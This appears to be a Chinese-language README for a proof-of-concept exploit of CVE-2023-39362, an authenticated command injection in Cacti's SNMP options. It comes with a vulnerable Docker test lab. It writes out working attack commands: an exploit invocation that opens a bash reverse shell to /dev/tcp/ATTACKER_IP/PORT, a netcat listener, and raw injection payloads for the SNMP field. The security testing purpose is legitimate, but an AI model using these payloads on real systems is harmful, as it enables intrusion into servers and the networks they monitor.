CVE-2023-39362 的概念验证漏洞利用程序,针对 Cacti SNMP 选项中的已认证命令注入漏洞。包含用于测试的易受攻击 Docker 环境,以及一个具备反弹 Shell 功能、用于自动化利用的 Python 脚本。
此仓库从以下仓库 fork 而来: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cacti 是一个开源的操作监控和故障管理框架,并不断演进以满足其用户社区的动态需求。
在 1.2.24 版本中,发现了一个被标记为 CVE-2023-39362 的潜在安全漏洞。在特定条件下,经过身份验证的特权用户可以利用 Device(设备)SNMP 选项中的一个缺陷,使用恶意字符串导致命令注入。这种利用会导致在底层服务器上以经过身份验证的方式执行远程代码。
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
此漏洞的影响十分严重,因为具有经过身份验证权限的恶意行为者可能会破坏托管 Cacti 的服务器的完整性。这种破坏可能成为未经授权访问网络中其他主机的入口,尤其是那些由 Cacti 监控的主机。
这是一个用于测试 Cacti 漏洞(CVE-2023-39362)利用程序的可漏洞应用。
此应用包含严重的安全漏洞。使用风险自负!建议在具有备份且受保护的环境(例如带有近期快照和仅主机网络的虚拟机)中运行。请勿将此应用上传到任何面向 Internet 的服务器,否则它们将被入侵。
我不对任何人使用此应用的方式承担责任。此应用的唯一用途是作为 CVE-2023-39362 漏洞利用程序的测试场景,不应将其用于恶意目的。如果你的服务器因安装此应用而被入侵,这不是我的责任,而是上传并安装它的人的责任。**
以下是搭建环境的步骤:
docker compose up -d 启动编排。admin/admin。admin 身份登录。guest 用户。guest 身份重新登录以尝试该漏洞利用程序。Cacti 的官方安装指南可以在此处找到。
要拆除环境,请使用 docker compose down 命令。
(这只是利用的一种可能路径)
在远程服务器上运行命令:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
打开反向 shell:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'。/tmp 下是否存在所创建的文件。要获得反向 shell,可以使用如下所示的 payload(攻击载荷)。
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
本项目采用 Unlicense 许可证授权 - 有关详细信息,请参阅 LICENSE 文件。